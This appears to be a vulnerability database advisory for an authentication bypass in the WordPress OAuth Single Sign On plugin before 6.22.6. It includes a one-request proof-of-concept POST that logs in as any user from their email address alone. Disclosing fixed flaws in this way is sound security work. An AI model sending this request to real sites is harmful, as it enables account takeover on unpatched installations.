WordPress Plugin Vulnerabilities
OAuth Single Sign On < 6.22.6 - Authentication Bypass
Description
The plugin doesn't validate that OAuth access token requests are legitimate, which allows attackers to log onto the site with the only knowledge of a user's email address.
Proof of Concept
POST / HTTP/1.1 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 40 Connection: close option=mooauth&[email protected]
Affects Plugins
Fixed in version 6.22.6
References
Classification
Miscellaneous
Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-06-27 (about 11 months ago)
Added
2022-06-27 (about 11 months ago)
Last Updated
2023-04-01 (about 2 months ago)